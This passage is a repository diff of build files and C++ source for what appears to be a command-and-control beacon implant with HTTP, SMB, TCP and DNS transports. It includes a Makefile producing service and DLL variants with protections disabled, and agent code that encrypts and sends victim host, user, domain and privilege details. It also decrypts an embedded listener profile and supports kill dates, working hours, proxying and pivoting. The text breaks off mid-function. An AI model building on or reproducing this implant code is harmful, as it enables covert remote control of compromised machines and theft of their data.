COMMON_SOURCES := $(filter-out \
$(BEACON_DIR)/config.cpp \
$(BEACON_DIR)/main.cpp \
$(BEACON_DIR)/ConnectorHTTP.cpp \
$(BEACON_DIR)/ConnectorSMB.cpp \
$(BEACON_DIR)/ConnectorTCP.cpp \
$(BEACON_DIR)/ConnectorDNS.cpp \
$(BEACON_DIR)/DnsCodec.cpp \
$(BEACON_DIR)/miniz.cpp, \
$(wildcard $(BEACON_DIR)/*.cpp))
HTTP_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorHTTP.cpp
SMB_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorSMB.cpp
TCP_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorTCP.cpp
DNS_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorDNS.cpp $(BEACON_DIR)/DnsCodec.cpp $(BEACON_DIR)/miniz.cpp
# Common compilation flags
ASM_SYNTAX := -masm=intel
SECURITY_FLAGS := \
-fno-stack-protector \
-fno-strict-overflow \
-fno-delete-null-pointer-checks \
-fno-strict-aliasing \
-fno-builtin
OPTIMIZATION_FLAGS := \
-fno-exceptions \
-fno-unwind-tables \
-fno-asynchronous-unwind-tables
# Generate dependency files for header tracking.
DEP_FLAGS := -MMD -MP
COMMON_FLAGS := \
-I$(BEACON_DIR) \
-fpermissive \
-w \
$(ASM_SYNTAX) \
-fPIC \
$(SECURITY_FLAGS) \
$(OPTIMIZATION_FLAGS) \
$(DEP_FLAGS)
# Miniz is trimmed to reduce CRT-related dependencies while preserving
# compression support required by the DNS codec path.
MINIZ_TRIM_FLAGS := \
-DMINIZ_NO_STDIO \
-DMINIZ_NO_ARCHIVE_APIS \
-DMINIZ_NO_ARCHIVE_WRITING_APIS \
-DMINIZ_NO_TIME \
-DMINIZ_NO_ASSERT
# Per-transport object lists
HTTP_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(HTTP_DIST_DIR)/%.x64.o,$(HTTP_SOURCES))
HTTP_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(HTTP_DIST_DIR)/%.x86.o,$(HTTP_SOURCES))
SMB_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(SMB_DIST_DIR)/%.x64.o,$(SMB_SOURCES))
SMB_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(SMB_DIST_DIR)/%.x86.o,$(SMB_SOURCES))
TCP_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(TCP_DIST_DIR)/%.x64.o,$(TCP_SOURCES))
TCP_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(TCP_DIST_DIR)/%.x86.o,$(TCP_SOURCES))
DNS_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(DNS_DIST_DIR)/%.x64.o,$(DNS_SOURCES))
DNS_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(DNS_DIST_DIR)/%.x86.o,$(DNS_SOURCES))
# Dependency files generated from object compilation.
DEPS := \
$(HTTP_OBJECTS_X64:.o=.d) $(HTTP_OBJECTS_X86:.o=.d) \
$(SMB_OBJECTS_X64:.o=.d) $(SMB_OBJECTS_X86:.o=.d) \
$(TCP_OBJECTS_X64:.o=.d) $(TCP_OBJECTS_X86:.o=.d) \
$(DNS_OBJECTS_X64:.o=.d) $(DNS_OBJECTS_X86:.o=.d)
# Parallel build settings
NPROC := $(shell nproc)
ifeq ($(MAKELEVEL),0)
MAKEFLAGS += -j$(NPROC) --no-print-directory
endif
.PHONY: all pre dirs assets clean x64 x86
all: pre x64 x86
dirs: $(DIST_DIRS)
$(DIST_DIRS):
@mkdir -p $@
# Prepare output directories and copy runtime assets only when needed.
pre: dirs assets
assets: \
$(HTTP_DIST_DIR)/config.cpp \
$(SMB_DIST_DIR)/config.cpp \
$(TCP_DIST_DIR)/config.cpp \
$(DNS_DIST_DIR)/config.cpp
$(HTTP_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(HTTP_DIST_DIR)
@cp -u $< $@
$(SMB_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(SMB_DIST_DIR)
@cp -u $< $@
$(TCP_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(TCP_DIST_DIR)
@cp -u $< $@
$(DNS_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(DNS_DIST_DIR)
@cp -u $< $@
# Incremental transport object builds.
x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64)
@echo " * Refreshing x64 main objects"
@# HTTP
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x64.o
@# SMB
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x64.o
@# TCP
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x64.o
@# DNS
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x64.o
x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86)
@echo " * Refreshing x86 main objects"
@# HTTP
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x86.o
@# SMB
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x86.o
@# TCP
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x86.o
@# DNS
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x86.o
# Generic transport object compilation rules.
$(HTTP_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(HTTP_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_HTTP $< -o $@
$(HTTP_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(HTTP_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_HTTP $< -o $@
$(SMB_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(SMB_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_SMB $< -o $@
$(SMB_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(SMB_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_SMB $< -o $@
$(TCP_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(TCP_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_TCP $< -o $@
$(TCP_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(TCP_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_TCP $< -o $@
$(DNS_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(DNS_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DNS $< -o $@
$(DNS_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(DNS_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $< -o $@
# Miniz requires dedicated flags and must override the generic rules.
$(HTTP_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(HTTP_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_HTTP $(MINIZ_TRIM_FLAGS) $< -o $@
$(HTTP_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(HTTP_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_HTTP $(MINIZ_TRIM_FLAGS) $< -o $@
$(SMB_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(SMB_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_SMB $(MINIZ_TRIM_FLAGS) $< -o $@
$(SMB_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(SMB_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_SMB $(MINIZ_TRIM_FLAGS) $< -o $@
$(TCP_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(TCP_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_TCP $(MINIZ_TRIM_FLAGS) $< -o $@
$(TCP_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(TCP_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_TCP $(MINIZ_TRIM_FLAGS) $< -o $@
$(DNS_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(DNS_DIST_DIR)
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) $< -o $@
$(DNS_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(DNS_DIST_DIR)
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) $< -o $@
clean:
@rm -rf $(DIST_DIRS)
-include $(DEPS)
+124
View File
@@ -0,0 +1,124 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.11.35312.102
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "beacon", "beacon\beacon.vcxproj", "{99A5F42E-60A8-4F1E-9DFF-35443B972707}"
EndProject
Project("{888888A0-9F3D-457C-B088-3A5042F75D52}") = "scripts", "scripts\scripts.pyproj", "{6897F9CC-8CA9-4603-9779-3052B43BD6FA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug EXE|Any CPU = Debug EXE|Any CPU
Debug EXE|x64 = Debug EXE|x64
Debug EXE|x86 = Debug EXE|x86
Debug_DNS|Any CPU = Debug_DNS|Any CPU
Debug_DNS|x64 = Debug_DNS|x64
Debug_DNS|x86 = Debug_DNS|x86
Debug_SMB|Any CPU = Debug_SMB|Any CPU
Debug_SMB|x64 = Debug_SMB|x64
Debug_SMB|x86 = Debug_SMB|x86
Debug_TCP|Any CPU = Debug_TCP|Any CPU
Debug_TCP|x64 = Debug_TCP|x64
Debug_TCP|x86 = Debug_TCP|x86
Debug|Any CPU = Debug|Any CPU
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release DLL|Any CPU = Release DLL|Any CPU
Release DLL|x64 = Release DLL|x64
Release DLL|x86 = Release DLL|x86
Release EXE|Any CPU = Release EXE|Any CPU
Release EXE|x64 = Release EXE|x64
Release EXE|x86 = Release EXE|x86
Release SVC|Any CPU = Release SVC|Any CPU
Release SVC|x64 = Release SVC|x64
Release SVC|x86 = Release SVC|x86
Release|Any CPU = Release|Any CPU
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|Any CPU.ActiveCfg = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|Any CPU.Build.0 = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x64.ActiveCfg = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x64.Build.0 = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x86.ActiveCfg = Debug EXE|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x86.Build.0 = Debug EXE|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|Any CPU.ActiveCfg = Debug_DNS|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|Any CPU.Build.0 = Debug_DNS|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x64.ActiveCfg = Debug_DNS|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x64.Build.0 = Debug_DNS|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x86.ActiveCfg = Debug_DNS|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x86.Build.0 = Debug_DNS|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|Any CPU.ActiveCfg = Debug_SMB|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|Any CPU.Build.0 = Debug_SMB|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x64.ActiveCfg = Debug_SMB|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x64.Build.0 = Debug_SMB|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x86.ActiveCfg = Debug_SMB|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x86.Build.0 = Debug_SMB|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|Any CPU.ActiveCfg = Debug_TCP|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|Any CPU.Build.0 = Debug_TCP|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x64.ActiveCfg = Debug_TCP|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x64.Build.0 = Debug_TCP|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x86.ActiveCfg = Debug_TCP|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x86.Build.0 = Debug_TCP|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|Any CPU.ActiveCfg = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|Any CPU.Build.0 = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x64.ActiveCfg = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x64.Build.0 = Debug EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x86.ActiveCfg = Debug EXE|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x86.Build.0 = Debug EXE|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|Any CPU.ActiveCfg = Release DLL|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|Any CPU.Build.0 = Release DLL|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|x64.ActiveCfg = Release DLL|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|x86.ActiveCfg = Release DLL|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|Any CPU.ActiveCfg = Release EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|Any CPU.Build.0 = Release EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|x64.ActiveCfg = Release EXE|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|x86.ActiveCfg = Release EXE|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|x86.Build.0 = Release EXE|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|Any CPU.ActiveCfg = Release SVC|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|Any CPU.Build.0 = Release SVC|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|x64.ActiveCfg = Release SVC|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|x86.ActiveCfg = Release SVC|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|Any CPU.ActiveCfg = Release SVC|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|Any CPU.Build.0 = Release SVC|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x64.ActiveCfg = Release SVC|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x64.Build.0 = Release SVC|x64
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x86.ActiveCfg = Release SVC|Win32
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x86.Build.0 = Release SVC|Win32
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug EXE|Any CPU.ActiveCfg = Debug|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug EXE|x64.ActiveCfg = Debug|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug EXE|x86.ActiveCfg = Debug|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_DNS|Any CPU.ActiveCfg = Debug_DNS|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_DNS|x64.ActiveCfg = Debug_DNS|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_DNS|x86.ActiveCfg = Debug_DNS|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_SMB|Any CPU.ActiveCfg = Debug_SMB|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_SMB|x64.ActiveCfg = Debug_SMB|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_SMB|x86.ActiveCfg = Debug_SMB|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_TCP|Any CPU.ActiveCfg = Debug_TCP|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_TCP|x64.ActiveCfg = Debug_TCP|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_TCP|x86.ActiveCfg = Debug_TCP|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug|x64.ActiveCfg = Debug|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug|x86.ActiveCfg = Debug|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release DLL|Any CPU.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release DLL|x64.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release DLL|x86.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release EXE|Any CPU.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release EXE|x64.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release EXE|x86.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release SVC|Any CPU.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release SVC|x64.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release SVC|x86.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release|x64.ActiveCfg = Release|Any CPU
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release|x86.ActiveCfg = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {94F166C1-6F3E-4F16-9407-83745A6E0C2D}
EndGlobalSection
EndGlobal
+149
View File
@@ -0,0 +1,149 @@
#include "Agent.h"
#include "ApiLoader.h"
#include "utils.h"
#include "Packer.h"
#include "Crypt.h"
void* Agent::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void Agent::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Agent));
}
Agent::Agent()
{
info = new AgentInfo();
config = new AgentConfig();
commander = new Commander(this);
downloader = new Downloader(config->download_chunk_size);
jober = new JobsController();
memorysaver = new MemorySaver();
proxyfire = new Proxyfire();
pivotter = new Pivotter();
SessionKey = (PBYTE) MemAllocLocal(16);
for (int i = 0; i < 16; i++)
SessionKey[i] = GenerateRandom32() % 0x100;
}
BOOL Agent::IsActive()
{
ULONG now = GetSystemTimeAsUnixTimestamp();
return this->Active && !(this->config->kill_date && now >= this->config->kill_date);
}
ULONG Agent::GetWorkingSleep()
{
if ( !this->config->working_time )
return 0;
WORD endM = (this->config->working_time >> 0) % 64;
WORD endH = (this->config->working_time >> 8) % 64;
WORD startM = (this->config->working_time >> 16) % 64;
WORD startH = (this->config->working_time >> 24) % 64;
ULONG newSleepTime = 0;
SYSTEMTIME SystemTime = { 0 };
ApiWin->GetLocalTime(&SystemTime);
if (SystemTime.wHour < startH) {
newSleepTime = (startH - SystemTime.wHour) * 60 + (startM - SystemTime.wMinute);
}
else if (endH < SystemTime.wHour) {
newSleepTime = (24 - SystemTime.wHour - 1) * 60 + (60 - SystemTime.wMinute);
newSleepTime += startH * 60 + startM;
}
else if (SystemTime.wHour == startH && SystemTime.wMinute < startM) {
newSleepTime = startM - SystemTime.wMinute;
}
else if (SystemTime.wHour == endH && endM <= SystemTime.wMinute) {
newSleepTime = 23 * 60 + (60 + startM - SystemTime.wMinute);
}
else {
return 0;
}
return newSleepTime * 60 - SystemTime.wSecond;
}
BYTE* Agent::BuildBeat(ULONG* size)
{
BYTE flag = 0;
flag += this->info->is_server;
flag <<= 1;
flag += this->info->elevated;
flag <<= 1;
flag += this->info->sys64;
flag <<= 1;
flag += this->info->arch64;
Packer* packer = new Packer();
packer->Pack32(this->config->agent_type);
packer->Pack32(this->info->agent_id);
packer->Pack32(this->config->sleep_delay);
packer->Pack32(this->config->jitter_delay);
packer->Pack32(this->config->kill_date);
packer->Pack32(this->config->working_time);
packer->Pack16(this->info->acp);
packer->Pack16(this->info->oemcp);
packer->Pack8(this->info->gmt_offest);
packer->Pack16(this->info->pid);
packer->Pack16(this->info->tid);
packer->Pack32(this->info->build_number);
packer->Pack8(this->info->major_version);
packer->Pack8(this->info->minor_version);
packer->Pack32(this->info->internal_ip);
packer->Pack8( flag );
packer->PackBytes(this->SessionKey, 16);
packer->PackStringA(this->info->domain_name);
packer->PackStringA(this->info->computer_name);
packer->PackStringA(this->info->username);
packer->PackStringA(this->info->process_name);
EncryptRC4(packer->data(), packer->datasize(), this->config->encrypt_key, 16);
MemFreeLocal((LPVOID*)&this->info->domain_name, StrLenA(this->info->domain_name));
MemFreeLocal((LPVOID*)&this->info->computer_name, StrLenA(this->info->computer_name));
MemFreeLocal((LPVOID*)&this->info->username, StrLenA(this->info->username));
MemFreeLocal((LPVOID*)&this->info->process_name, StrLenA(this->info->process_name));
#if defined(BEACON_HTTP) || defined(BEACON_DNS)
ULONG beat_size = packer->datasize();
PBYTE beat = packer->data();
#elif defined(BEACON_SMB)
ULONG beat_size = packer->datasize() + 4;
PBYTE beat = (PBYTE)MemAllocLocal(beat_size);
memcpy(beat, &(this->config->listener_type), 4);
memcpy(beat+4, packer->data(), packer->datasize());
PBYTE pdata = packer->data();
MemFreeLocal((LPVOID*)&pdata, packer->datasize());
#elif defined(BEACON_TCP)
ULONG beat_size = packer->datasize() + 4;
PBYTE beat = (PBYTE)MemAllocLocal(beat_size);
memcpy(beat, &(this->config->listener_type), 4);
memcpy(beat + 4, packer->data(), packer->datasize());
PBYTE pdata = packer->data();
MemFreeLocal((LPVOID*)&pdata, packer->datasize());
#endif
delete packer;
*size = beat_size;
return beat;
}
+42
View File
@@ -0,0 +1,42 @@
#pragma once
#include "AgentInfo.h"
#include "AgentConfig.h"
#include "Downloader.h"
#include "JobsController.h"
#include "MemorySaver.h"
#include "Proxyfire.h"
#include "Pivotter.h"
#include "Commander.h"
#include "Boffer.h"
class Commander;
class Boffer;
class Agent
{
public:
AgentInfo* info = NULL;
AgentConfig* config = NULL;
Commander* commander = NULL;
Downloader* downloader = NULL;
JobsController* jober = NULL;
MemorySaver* memorysaver = NULL;
Proxyfire* proxyfire = NULL;
Pivotter* pivotter = NULL;
Boffer* asyncBofMgr = NULL;
Map<CHAR*, LPVOID> Values;
BYTE* SessionKey = NULL;
BOOL Active = TRUE;
Agent();
BOOL IsActive();
ULONG GetWorkingSleep();
BYTE* BuildBeat(ULONG* size);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+111
View File
@@ -0,0 +1,111 @@
#include "AgentConfig.h"
#include "Packer.h"
#include "Crypt.h"
#include "utils.h"
#include "config.h"
void* AgentConfig::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void AgentConfig::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(AgentConfig));
}
AgentConfig::AgentConfig()
{
ULONG length = 0;
ULONG size = getProfileSize();
CHAR* ProfileBytes = (CHAR*) MemAllocLocal(size);
memcpy(ProfileBytes, getProfile(), size);
Packer* packer = new Packer((BYTE*)ProfileBytes, size);
ULONG profileSize = packer->Unpack32();
this->encrypt_key = (PBYTE) MemAllocLocal(16);
memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16);
DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16);
this->agent_type = packer->Unpack32();
this->kill_date = packer->Unpack32();
this->working_time = packer->Unpack32();
this->sleep_delay = packer->Unpack32();
this->jitter_delay = packer->Unpack32();
#if defined(BEACON_HTTP)
this->listener_type = packer->Unpack32();
this->profile.use_ssl = packer->Unpack8();
this->profile.servers_count = packer->Unpack32();
this->profile.servers = (BYTE**) MemAllocLocal(this->profile.servers_count * sizeof(LPVOID) );
this->profile.ports = (WORD*) MemAllocLocal(this->profile.servers_count * sizeof(WORD) );
for (int i = 0; i < this->profile.servers_count; i++) {
this->profile.servers[i] = packer->UnpackBytesCopy(&length);
this->profile.ports[i] = (WORD) packer->Unpack32();
}
this->profile.http_method = packer->UnpackBytesCopy(&length);
this->profile.uri_count = packer->Unpack32();
this->profile.uris = (BYTE**)MemAllocLocal(this->profile.uri_count * sizeof(LPVOID));
for (ULONG i = 0; i < this->profile.uri_count; i++) {
this->profile.uris[i] = packer->UnpackBytesCopy(&length);
}
this->profile.parameter = packer->UnpackBytesCopy(&length);
this->profile.ua_count = packer->Unpack32();
this->profile.user_agents = (BYTE**)MemAllocLocal(this->profile.ua_count * sizeof(LPVOID));
for (ULONG i = 0; i < this->profile.ua_count; i++) {
this->profile.user_agents[i] = packer->UnpackBytesCopy(&length);
}
this->profile.http_headers = packer->UnpackBytesCopy(&length);
this->profile.ans_pre_size = packer->Unpack32();
this->profile.ans_size = packer->Unpack32() + this->profile.ans_pre_size;
this->profile.hh_count = packer->Unpack32();
this->profile.host_headers = (BYTE**)MemAllocLocal(this->profile.hh_count * sizeof(LPVOID));
for (ULONG i = 0; i < this->profile.hh_count; i++) {
